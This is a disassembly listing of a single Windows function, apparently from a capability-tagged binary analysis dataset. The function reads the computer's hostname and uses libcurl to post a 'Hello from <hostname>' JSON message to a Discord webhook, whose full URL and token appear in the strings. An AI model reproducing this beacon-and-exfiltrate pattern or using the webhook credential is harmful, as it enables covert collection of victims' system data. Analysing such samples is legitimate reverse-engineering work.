Function at 0x140002970
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x290
mov rax, qword [0x1400d2848]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
movdqa xmm1, xmmword [0x1400c5910]
movdqu xmmword [rsp + 0x150], xmm1
mov byte [rsp + 0x140], bl
mov dword [rsp + 0xbc], 0x100
lea rdx, [rsp + 0xbc]
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1400030f2
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], rbx
lea rax, [rsp + 0x180]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002a20
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xd0]
call fcn.140005d10
nop
lea rdx, str.Host_Name:
lea rcx, [0x1400d3ec0]
call fcn.140005660
lea rdx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0x10
cmovae rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xe0]
mov rcx, rax
call fcn.140007320
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140006f30
movzx edx, al
mov rcx, rbx
call fcn.140006d80
mov rcx, rbx
call fcn.140006c20
mov ecx, 3
call fcn.140008410
call fcn.1400081b0
mov rsi, rax
test rax, rax
je 0x140003037
lea rdx, str.Content_Type:_application_json
xor ecx, ecx
call fcn.140008580
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x130], xmm1
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1269777199448195173_Iu6gSogjdHq9tIRuIEJEZw_KA5f9N3L4ZO4u3gkk2kbIxdg2TP5JleDdPVeDnIBBhUpj
lea rcx, [rsp + 0x120]
call fcn.140005d10
nop
mov r14, qword [rsp + 0xe0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xb
jb 0x14000311b
lea r12, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0x10
cmovae r12, qword [rsp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r15, [r14 + 0xb]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp r15, rbx
jbe 0x140002bdc
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002b9e
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14006f028
test rax, rax
je 0x140003125
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002bd7
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002bc6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003120
jmp 0x140002b7f
test rcx, rcx
je 0x140002bd5
call fcn.14006f028
mov rdi, rax
jmp 0x140002bd7
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rbx
movsd xmm0, qword [str.Hello_from]
movsd qword [rdi], xmm0
movzx eax, word [0x1400c4f38]
mov word [rdi + 8], ax
movzx eax, byte [0x1400c4f3a]
mov byte [rdi + 0xa], al
lea rcx, [rdi + 0xb]
mov r8, r14
mov rdx, r12
call fcn.140070ed0
mov byte [rdi + r15], 0
mov r8d, 1
lea rdx, [0x1400c4f2c]
lea rcx, [rsp + 0x30]
call fcn.1400037b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x170], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002c97
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000312b
call fcn.14006f020
movdqa xmm0, xmmword [0x1400c5910]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x50], 0
xor eax, eax
mov qword [rsp + 0x58], rax
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.1400045a0
mov byte [rsp + 0x50], 3
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov ecx, 0x20
call fcn.14006f028
mov rbx, rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 7
lea rdx, str.content
mov rcx, rbx
call fcn.140005d10
nop
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
mov byte [rsp + 0x68], 0
xor eax, eax
mov qword [rsp + 0x70], rax
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1400045a0
mov byte [rsp + 0x68], 3
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov ecx, 0x20
call fcn.14006f028
mov rbx, rax
lea rax, [rsp + 0xb9]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rbx
lea rdx, [rsp + 0x160]
mov rcx, rbx
call fcn.1400038a0
nop
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc8], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140003480
mov qword [rsp + 0x90], rdi
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xc8], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xf0]
call fcn.140003480
nop
lea r9, [0x140003150]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0x80]
call fcn.14006f064
nop
lea r9, [0x140003150]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x50]
call fcn.14006f064
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xf0]
call fcn.140003170
nop
lea r8, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae r8, qword [rsp + 0x120]
mov edx, 0x2712
mov rcx, rsi
call fcn.14000c7c0
lea r8, [rsp + 0x100]
cmp qword [rsp + 0x118], 0x10
cmovae r8, qword [rsp + 0x100]
mov edx, 0x271f
mov rcx, rsi
call fcn.14000c7c0
mov r8, r13
mov edx, 0x2727
mov rcx, rsi
call fcn.14000c7c0
lea r8, [0x140002940]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.14000c7c0
lea r8, [rsp + 0x140]
mov edx, 0x2711
mov rcx, rsi
call fcn.14000c7c0
mov rcx, rsi
call fcn.140008220
mov edi, eax
test eax, eax
je 0x140002f2f
lea rdx, str.curl_easy_perform___failed:
lea rcx, [0x1400d4060]
call fcn.140005660
mov rbx, rax
mov ecx, edi
call fcn.140008fe0
mov rdx, rax
mov rcx, rbx
call fcn.140005660
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140006f30
movzx edx, al
mov rcx, rbx
call fcn.140006d80
mov rcx, rbx
call fcn.140006c20
mov rcx, rsi
call fcn.140008180
call fcn.1400083b0
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x140002f80
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003131
call fcn.14006f020
movdqa xmm0, xmmword [0x1400c5910]
movdqu xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], 0
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0xf8]
call fcn.1400045a0
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x140002ff3
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003137
call fcn.14006f020
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x140003037
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003031
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000313d
call fcn.14006f020
nop
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x14000307b
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003075
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003143
call fcn.14006f020
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x1400030be
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003149
call fcn.14006f020
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.14006f000
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rdx, str.Failed_to_get_host_name
lea rcx, [rsp + 0xa0]
call fcn.140001460
lea rdx, [0x1400d0070]
lea rcx, [rsp + 0xa0]
call fcn.140071ec4
nop
call fcn.140001440
call fcn.1400013a0
call fcn.14007a168
nop
call fcn.14007a168
nop
call fcn.14007a168
nop
call fcn.14007a168
nop
call fcn.14007a168
nop
call fcn.14007a168
nop
call fcn.14007a168
int3